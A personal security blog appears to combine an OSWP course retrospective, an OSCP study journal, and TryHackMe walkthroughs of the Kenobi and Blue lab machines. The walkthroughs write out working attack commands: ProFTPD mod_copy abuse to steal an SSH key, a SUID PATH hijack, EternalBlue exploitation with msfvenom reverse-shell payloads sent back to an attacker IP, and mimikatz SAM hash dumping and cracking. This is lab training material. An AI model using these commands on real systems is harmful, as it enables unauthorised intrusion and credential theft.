OSWP Retrospective

My Road to WiFu

The OSWP aka WiFu in the old days was the second OffSec certification that I’ve taken. While the journey was far smoother than the dreadful marathon that was the 24 hour OSCP certification, there were indeed a few interesting things to share along the way.

Format

I enrolled in the new Offsec Training library format, which is the new course delivery platform that they implemented in 2022. Instead of downloading the course PDF and videos en bloc as in the past, now you log in to their “training library” web app to watch videos and read the course documents. There is an option to download everything. As I write my own documentations along the way I did not download the files.

Content delivery this way was smooth and mostly intuitive. I imagine most people would feel the same if their internet connection is okay.

Hardware

In order to pentest a Wifi network, you need a compatible wireless card that supports monitor mode and packet injection. As there are no virtual labs for you to attack in the course, you need to set up your own home lab as instructed in the course manual. A spare Wifi router is highly recommended, as you do not want to repeatedly reset your home network password, disconnecting every device in the process, or change into a vulnerable setup to invite attackers.

OffSec recommend the following hardware for the course:

Recommended Wireless Network Routers
---
NETGEAR AC1000 (R6080)
Linksys WiFi 5 Router Dual-Band AC1200 (E5400)

Recommended Wireless Cards
---
Alfa AWUS036NHA

What did I use? A TP-Link TL-WN722N v1 that I bought a while back, and a cheapo TP-Link router that supported 802.11 a/b/g/n as well as WEP, WPA1/2 personal authentication (most mass market routers do, these days). You could also refer to the aircrack-ng wiki page for wireless card compatibility.

WN722N v1 card. Note that only V1 supports monitor mode and such
Alfa AWUS036NHA which is recommended by OffSec

Course content

The course work was about 40-50 hours long. Between going to work and working through the contents after hours and during weekends, I spent maybe 6 weeks to complete at a relatively comfortable pace.

The first half of the course dealt with the theory underlying the various WiFi protocols, authentication schemes and handshakes. This is where I spent the most time on actually, due to a lack of background knowledge. As you might expect, notes covering “802.11b specifications” or “linux wireless drivers” tend to be rather dry but still arguably essential to the testing of WiFi. OffSec included .pcap files for the different examples of network interactions, control frames to inspect in Wireshark. Which was also a good exercise in on itself.

The second part of the course, the home-lab work, came 30-odd hours later. That involved learning the various techniques in attacking WPA1/2 personal, enterprise network including deauth attacks, evil twin AP, rouge captive portal, to name a few.

As the aim of the course was to crack authentication hashes to obtain Wifi passwords, a section discussing hash cracking tools such as JTR, Hashcat etc was included. Far as I remember, it was more detailed than the OSCP coverage of the topic and introduced me to techniques like mask attacks and rule-based attacks and was quite nice!

Tools involved in the course – most of the practicals were done by interacting with the aircrack-ng suite, though you need additional tools such as hostapd-mana to mount more sophisticated rouge AP attacks. Later in the course more tools and frameworks such as bettercap & kismet were introduced to perform the attacks more efficiently & systematically. Though, arguably they do not add new core functionality to what aircrack-ng was doing.

The WiFu Exam

Disclaimer: everything I write here is also in OffSec’s documentations.

So how would the sensei challenge me to make me earn my new 4 letters? In the exam, I:

  • Have a 4 hour time limit;
  • Need to crack 2 out of 3 Wifi network in a VPN-connected virtual environment;
  • One of them is mandatory;
  • Use default wordlists provided in the Kali VM provisioned;
  • Each scenario would only be active one at a time;
  • You got many resets to the scenarios in case something breaks.

All the specifications strongly suggested to me that the hash-cracking part of the exam should not be very hard (BUT: take nothing for granted!!). Why? Using default wordlists means cracking the hashes inside of the VM, which may or may not have powerful hardware (How to check for it? Which tool support GPU as opposed to CPU cracking?). Let’s for the sake of discussion say it does not. Then the focus should be on how to successfully mount one of the attacks (may be simple or sophisticated) described in course work to obtain the hash in the first place. This was my expectation going in.

Anyhow, on the exam day there were a few surprises indeed, which I definitely won’t go into details here. I also had a scenario in which the target AP did not broadcast anything, and I had to reset the scenario for it to work properly. But overall it went okay and I cracked all 3 within the time given, just barely.

Thank you, Sensei!

Me

My Path to OSCP

Zero to hero in 5 months

This is the journal of my path to obtaining the OSCP certification, outlining the background knowledge I learnt before attempting the PWK course, as well as the course, labs and the exam itself. With relevant IT background, you could skip forward to part describing the course.

I wrote this post in hoping to inspire someone who might be thinking about it but have doubts whether it is possible given their background or life circumstances. If you try hard enough (and have reasonable planning), you can do it too. I started from reading a blog post similar to this in fall 2019.

Disclaimer: From hello_world.c to the certificate it actually took me a little less than 2 years. The 5 months was meant to count from starting the course. Everyone learns at a different pace and it is by no means a flex about how awesome I am. I was very much humbled by the exam and only barely scrambled to get a pass. And I know I have much, much more to learn. The details here apply to the old exam (pre 2021) but it should not matter as I do not cover specifics anyway. Do refer to Offsec’s latest Docs for details of the new exam.

Pre-Infosec

I am in my late 20s and work in the medical field. I have had interests in programming and computers since college but had only self learnt python for a bit. Never gotten far.

COVID did not hit my city hard in 2020. Instead of battling day and night like colleagues elsewhere in the world, we had a lot of free time. In summer 2020 I did CS50 as the first introductory computing course (what a great course!) and wrote my first web app on python for its final assignment. This took me 4 months and many sleep deprived nights but taught me a lot in how servers handle requests, Sql, JS & HTML. I wrote the webapp on a Macbook so it was also a great intro on Git and version control, as well as unix-like cli environment.

Pre-PWK

In winter 2020, I was looking for the next thing to learn and LiveOverflow’s youtube video / post on how to get into infosec ignited my interests in the field (more like a childhood dream!). I realised I had some of the knowledge but still lacked a clearer grasp on inner workings of TCP/IP and at that point the Google Networking Course (a 5-hour long video) helped me fill that gap. It goes into details like how IP packets are constructed, what is a TCP handshake etc which are essential for pentesting. Also did some of OverTheWire’s bandit series and attempted a public, beginner friendly CTF to get a feel for the real thing in winter of 2020.


Fast forwarding first half of 2021 (as I was preparing for a medical examination and getting married) to late July 2021 when I finally bought the PWK course and requested one month off (had leave days saved up for this for 2 years). I did 3-4 boxes on TryHackMe before my lab time began, to “get a feel for things” after 6 months without hacking. In the grand scheme of things the TMH boxes were insignificant for me. I bought 4 months of lab time because I figured I could get it done in this time frame.

PWK course

Started PWK in Aug 2021 and the course took me 3 weeks of almost non stop work to complete. I know I should complete all exercises for the 5 points and from my limited tech background, to learn as much as I could from the course material. There were many instances when the course material tells you to use one tool and a certain command to achieve a certain goal, but it didn’t work (due to updated packages, language environments, etc). I visited the course forum and there were people complaining about the course being outdated and poorly QC’d. Others posted workarounds to those problems.

At times this actually became immensely frustrating as one’s lab time is limited, and you could spent a whole day without progress because of some library mismatch. At some point half way into the course, I thought, well it’s kinda like writing a web app, you debug things and align the libraries and python versions and stuff… could this be a representation of working in the field and is intentional? I still don’t have an answer but the process taught me a lot. There were a few extra questions that were quite a bit harder than the rest. If you have time, I do recommend completing the extras too. As for BOF, I spent 3 days give or take to learn the concept and be able to do a basic one.

The Labs

The Plan

In retrospect, sitting in front of computer for 3 weeks straight working 10 hour days to power through the course (so that I could have more lab time on the labs) was not the smartest thing to do. I had 10 days of leave left when I started with the labs and I got like 7 or 8 boxes total in the period.

I was pretty burnt out when I returned to work after the 1 month of non-stop hacking.

At that point I had Sept – Nov ie 3 months to do like 30-35 more boxes which would be the target I aim for before sitting the exam. On Offsec’s stats that’d be the cohort that has 60-70% passing rate. Knowing the reputation of the exam I wasn’t really expecting anything but was of course trying to formulate a plan to aim for reasonable odds of success.

Offsec’s stats

How it turned out

As said I was pretty burnt out in late Aug and progress was not good in Sept. I work 9-6 and being a Doctor is quite taxing on mental energy. Hacking 30 boxes in 3 months meant about one in 3 days, when having one overnight call in hospital every 4-5 days.

Here I have to elaborate on the boxes. Some were pretty easy if u have a systematic approach to recon-exploitation, and could be done in 3-4 hours. For the others, if you didn’t know how to proceed you could get stuck for like 10 – 12 hours with no progress. Managing frustration was one of the hardest part in the labs. I told myself repeatedly that going nowhere meant there was something for me to learn. I set up timers for 1,2 and 4 hours, and mandated switching approach if no progress in 1 hr, switching port of attack at 2 hr and visit the forums if no progress by 4 hours. I went to the forums to get just enough hint to progress. People spoke in funny riddles for hints lol.

If there’re 2 things I learned best during my lab time, they were to enumerate well and have no assumptions. There was one box that I needed hints for walkthrough from start to end. And it could well be the first box u tried in the labs or the first one you see in the exams. If you do not have discipline to enumerate well, and move on when nothing works, you will very probably fail.

Moving onto my progress, I had some 20+ boxes done by late Oct and thought there was no way I could hack 20 boxes in a month. I made the call that probably got me through the exam: I bought one more month of lab time and took another week off in Nov. During that week off I finally had the mental space and time to work on my checklists, scripts and wordlists, finalise template for submission and did some harder boxes and an AD chain, as well as some boxes that were buried deep inside of the subnets.

By the time I sat the exam in late Dec, I had 43 boxes under my belt. I didn’t do any of the big four (lol never got around to), but I redid the course BoF exercises in the course and felt confident in my process.

Exam day

I scheduled the exam to start at 9am. I made a strict time table to adhere to, with specific instructions on timings to stand up and stretch, drink water, take breaks and eat. Also I mandated myself to switch boxes if no progress for 4 hours (thank /r/OSCP for this tip!).

One interesting tidbit was that since you could not use mobile phones during the exam (except on breaks), I wrote a little shell script to play 5 seconds of music in every predetermined interval(set to 30 minute during my exam).

Before starting anything I started full port scans on all the targets without service or NSE scripts. This should be the more time consuming step so I started before working on the BOF.

The BOF was done before 11am, and the 10 pointer was done at about 1pm. Had lunch and continued on first 20 pointer at 2pm after checking all proof keys submitted for prior boxes. Before dinner, about 6pm I rooted the 20 pointer, so I only needed 10 points more to pass. I started scanning the second 20 pointer and the 25 pointer and had dinner with my family with the scans running. After dinner I went for a walk with my wife afterwards to clear my mind a bit.

With 12 hours to go and 10 points to pass I was feeling a bit confident but told myself to keep being impartial, as 10 point short still meant a fail. 8pm to 10pm I worked on initial access on 20 pointer and had no progress beyond some leads, then 10-11:30pm I worked on the 25 pointer, also without success. The 20 pointer had a web architecture on another port which I am not familiar with, so I starting googling “How to pentest XYZ” for like 15 minutes and it kinda went nowhere.. that was when I realised I got to rest.

Took a nap for 2 hours and actually couldn’t sleep much. During the time I was letting my thoughts crystallise and I thought to myself: trying to pentest a new framework that you have little knowledge and experience during exam almost guaranteed failure. Then I went back to the old path that I tried first when dinner was done. When I woke at 1:30am, I got the critical progress that I needed but still it took a further 3.5 hours to get to the low-level privileges for my (supposed) 10 points. It was 5am.

I never would’ve expected the last 10 points to be so hard (for me at least). From 5-9 I was exhausted already and found leads for privesc but couldn’t get it to work. Went back to check all screenshots and proofs that I obtained and redid every step to make sure it worked.

Slept till 2pm the next day, compiled the exam report and submitted with my lab report! I checked so many times everything was according to their specifications lol.

6 days later I got my email.

Kenobi Walkthrough

THM — Offensive Pentesting Path (2)

System overview

HostnameKENOBI
Exp Date16-04-2022
Link to roomhttps://tryhackme.com/room/kenobi

Exploitation Overview

This box is a linux system with exposed NFS shares, SMB shares and a vulnerable version proFTPD running. Initial access is obtained with leveraging the proFTPD vulnerability to copy the SSH private key to an exposed NFS share (hence the Star Wars reference). Privilege escalation was through exploiting a SUID binary with PATH vulnerability.

Recon

Portscan – TCP

sudo nmap -sV -sC -v [target_ip] -p-

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/admin.html
|_http-title: Site doesn't have a title (text/html).
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   100003  2,3,4       2049/tcp   nfs
|   100005  1,2,3      37705/udp   mountd
|   100021  1,3,4      42305/tcp6  nlockmgr
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open  nfs_acl     2-3 (RPC #100227)

Web server

On port 80 was the Apache web server. Directory fuzzing showed only the web root /robots.txt & admin.html were available. The webroot has 2 dudes fighting with lightsabers. The source code seems empty too.

Robots page showed an admin.html page, which was also found by nmap and nikto.

User-agent: *
Disallow: /admin.html

admin.html: The alleged admin page was seemingly a trap. The source code was also unremarkable.

SSH was running on verion 7. So we could forget it for now unless bruteforcing it with hydra was the only way it. We continued to enumerate the SMB shares & users with nse scripts:

$ nmap -p 139,445 --script=smb-enum-shares.nse,smb-enum-users.nse [target_ip]

Host script results:
| smb-enum-shares:
<SNIP>
|   \\10.10.163.125\anonymous:
|     Type: STYPE_DISKTREE
|     Comment:
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
Nmap done: 1 IP address (1 host up) scanned in 83.29 seconds

A couple of things could be made of this. From the Samba/SSH/Apache combo it is so far reasonable to infer that the host OS is some flavor of Linux. The /home/kenobi/share leaked the presense of a kenobi user inside of a computer with the same nameas hostname. We accessed the anonymous share to download the log.txt file found inside.

$ smbclient \\\\10.10.163.125\\anonymous
Enter WORKGROUP\kali's password:[blank]

smb: \> ls
  .                                   D        0  Wed Sep  4 18:49:09 2019
  ..                                  D        0  Wed Sep  4 18:56:07 2019
  log.txt                             N    12237  Wed Sep  4 18:49:09 2019

                9204224 blocks of size 1024. 6877116 blocks available

smb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (5.0 KiloBytes/sec) (average 5.0 KiloBytes/sec)

Inside of log.txt were the location and file name of the ssh key of the kenobi user.

There were also pieces of the proFTPD config including the user being kenobi, the default file root of the FTP is ~ i.e. /home/kenobi, and Overwrite is On, whatever that meant.

NFS

The next service enumerated was the NFS shares.

$ nmap -v -p111 10.10.182.44 --script=nfs-*

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount:
|_  /var *

Seems that /var was mountable. Using sudo mount -nolock [target_ip]:/var ~/kenobi the /var directory was accessible on our machine.

As expected we do not have write permissions on /var.

┌──(kali㉿kali)-[~/kenobi]
└─$ touch test.txt
touch: cannot touch 'test.txt': Read-only file system

ProFTPD 1.3.5

The proFTPD version could be found either with nmap -sV or plainly connecting to the service with ftp. With searchsploit a vulnerability using site cpfr and site cpto could be found. This allowed the copying files within the host filesystem without credentials.

$ searchsploit proftpd 1.3.5
---------------------------------------------------------- --------------------------
 Exploit Title                                            |  Path
---------------------------------------------------------- --------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution       | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)   | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                 | linux/remote/36742.txt
---------------------------------------------------------- --------------------------

Exploitation and proof

The exploitation of this box seemed rather convuloted when it first attempted it before PWK. Now that I’ve had the experience and a few dozen boxes under my belt, it’s more clear.

An exposed home directory for any user is a potential treasure chest. The simplest way is an exposed SSH private key (such as described on this box). Sometimes it is exposed credentials / configuration. To exploit kenobi, we first get the private Key to /var/tmp as shown here:

$ ftp 10.10.182.44
Connected to 10.10.182.44.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.182.44]
Name (10.10.182.44:kali):
331 Password required for kali
Password: [blank]
530 Login incorrect.
ftp: Login failed

ftp> site cpfr /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
ftp> site cpto /var/tmp/id_rsa.copy
250 Copy successful

Then we mounted the nfs share and copied the private key to our file system.

$ sudo mount -nolock 10.10.182.44:/var ./nfs

$ cp nfs/tmp/id_rsa.copy .

$ ls
id_rsa.copy  nfs 

You need to change the permissions on the private key before using it. And then we’re in.

$ mv id_rsa.copy kenobi_key

$ chmod 600 kenobi_key

$ ssh [email protected] -i ./kenobi_key                                           
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Privilege Escalation

An SUID binary was exploited to get root. To find those you use find.

$ find / -perm -u=s -type f 2>/dev/null
...
/usr/bin/menu
...

$ ls -l /usr/bin/menu
-rwsr-xr-x 1 root root 8880 Sep  4  2019 /usr/bin/menu

Since the owner of the binary was root, if we could get it to spawn a new process for us it will be a root process.

$ menu

***************************************
1. status check
2. kernel version
3. ifconfig

** Enter your choice :1
HTTP/1.1 200 OK
Date: Sat, 16 Apr 2022 05:06:33 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html

It seems that the binary ran an HTTP request on itself. Let’s use strings to see how it did this.

So the ifconfigcurl and uname -r were ran without full path. To exploit there there are a few options. Either directly spawn a shell locally, send us a reverse shell or add a new root user. On THM the prompt was to replace curl but IMO ifconfig was the better option as the command line argument could mess things up. So we copied /bin/sh to /tmp/ifconfig, run /usr/bin/menu and select the ifconfig option, viola!

Blue Walkthrough

THM — Offensive Pentesting Path (1)

This is the first of a series of walkthroughs for THM boxes.

Blue is the first machine in the offensive pentesting path of THM after the intro Vulnerversity box. Being the second time I have approached these boxes (first time was before starting PWK and I felt I did not learn much by THM’s approach to teaching), I wonder if I could get more out of them on the second run after going through OSCP.

HostnameBLUE
Date15-04-2022

Exploitation Overview

The target was exploited with the eternalblue SMB vulnerability. Workable exploits were found within the metasploit framework, and from PoC scripts on Github.

Service Enumeration

Portscan — TCP

$ sudo nmap -v -sC -sV -p- [target_ip]

PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ms-wbt-server

Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
<SNIP>
| Names:
|   JON-PC<00>           Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|   JON-PC<20>           Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
<SNIP>
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Jon-PC
|   NetBIOS computer name: JON-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-04-07T00:56:43-05:00

Exploitation and proof

To start with, nmap scan revealed open 135,139,445 (netbios, SMB) as well as RDP at 3389. Further enumeration with --script=smb-vuln* flag revealed vulnerability to MS17-010. No other users were exposed beside JON.

| smb-vuln-ms17-010:
|   vulnerable:
|   remote code execution vulnerability in microsoft smbv1 servers (ms17-010)
|     state: vulnerable
|     ids:  cve:cve-2017-0143
|     risk factor: high
|       a critical remote code execution vulnerability exists in microsoft smbv1
|        servers (ms17-010).

On --script=smb-enum-shares a read-only IPC share was found.

| smb-enum-shares:
|   account_used: <blank>
|   \\10.10.235.176\ipc$:
|     warning: couldn't get details for share: nt_status_access_denied
|_    anonymous access: read

Initial Access

Using MS17-010 / MS08-016 were some of the bigger headaches that I encountered during PWK, despite Forum/Offsec sometimes referring to these older vulnerabilities as “easy wins”. On the THM “walkthrough” you are prompted to just search for “MS17-010″on metasploit and fire off the exploit without much understanding of the target. IMO the topic deserves more discussion.

From our earlier enumeration the target was found to be running Win7 (with smb-os-discovery). So which Eternal variant is suitable for this target? Quoting the original repo by worawit:

Eternalblue requires only access to IPC$ to exploit a target while other exploits require access to named pipe too. So the exploit always works against Windows < 8 in all configuration (if tcp port 445 is accessible). However, Eternalblue has a chance to crash a target higher than other exploits.
Eternalchampion requires access to named pipe.
Eternalromance requires access to named pipe. The exploit can target Windows < 8 because the bug for info leak is fixed in Windows 8.
Eternalsynergy requires access to named pipe. I believe this exploit is modified from Eternalromance to target Windows 8 and later.

An excellent fork on this vulnerability was helviojunior’s. Using scanner/smb/pipe_auditor on msf on our target would show you that there are no named pipes available. The alternative was using checker.py from the above repo:

$ python checker.py [target_ip]
Trying to connect to [target_ip]:445
Target OS: Windows 7 Professional 7601 Service Pack 1
The target is not patched

=== Testing named pipes ===
spoolss: STATUS_ACCESS_DENIED
samr: STATUS_ACCESS_DENIED
netlogon: STATUS_ACCESS_DENIED
lsarpc: STATUS_ACCESS_DENIED
browser: STATUS_ACCESS_DENIED

With the Windows version, lack of a pipe and exposed $IPC share, Eternalblue was the one that has the bigger chance to work.

The MSF way

To find out what exploits against MS17-010 were available on MSF, you could run:

msf6 > search ms17_010

Matching Modules
================

   #  Name                                    
   -  ----                                    
   0  exploit/windows/smb/ms17_010_eternalblue
   1  exploit/windows/smb/ms17_010_psexec     
   2  auxiliary/admin/smb/ms17_010_command    
   3  auxiliary/scanner/smb/smb_ms17_010      

psexec required named pipes, so naturally the eternalblue one was to be used here.

> use windows/smb/ms17_010_eternalblue

> set RHOSTS [target_ip]
> set LHOST [attacker ip]
> set LPORT 4444
> run
The Non-MSF way

Many MS17-010 repos were written in python2 and required the python2 version of impacket. To satisfy the dependencies in a headache-free manner, first clone the repo, then make it a venv of python2.7, then install impacket inside the virtual env with pip.

# first initiate the venv
$ virtualenv --python=/usr/bin/python2.7 venv
$ . venv/bin/activate

# verify python version & install impacket 
$ python --version
$ pip install impacket

We started from the helviojunior repo. The first step was shellcode generation. To understand what everything does, you need to read the merging script. These 3 files were in the shellcode directory:

eternalblue_kshellcode_x64.asm  eternalblue_sc_merge.py
eternalblue_kshellcode_x86.asm

Then the kernel shellcodes were first compiled with nasm:

$ nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin
$ nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin

And the reverse shells generated with:

$ msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=[attacker_ip] LPORT=7686
$ msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=[attacker_ip] LPORT=7676

And to finally merge them:

$ cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin
$ cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin
$ python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin

Finally, run the exploit script for windows 7 and open netcat listeners for both port 7686 and 7676. A reverse shell was send to us and caught. On some occasions the exploit scripts required repeated execution before a shell was obtained.

Flag 1:

Flag 2:

Flag 3:

Post exploitation

In order to crack the NTML hash of the user JON, we first have to dump it from the SAM with Mimikatz (now called kiwi on MSF). Note that system privilege is required.

meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( [email protected] )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.

meterpreter > lsa_dump_sam
[+] Running as SYSTEM
[*] Dumping SAM
Domain : JON-PC
SysKey : 55bd17830e678f18a3110daf2c17d4c7
Local SID : S-1-5-21-2633577515-2458672280-487782642

<SNIP>

RID  : 000003e8 (1000)
User : Jon
  Hash NTLM: [the_hash]
# back in Kali
$ john hash.txt --format=NT --wordlist=/usr/share/wordlists/rockyou.txt
<SNIP>
[cracked_password]      (?)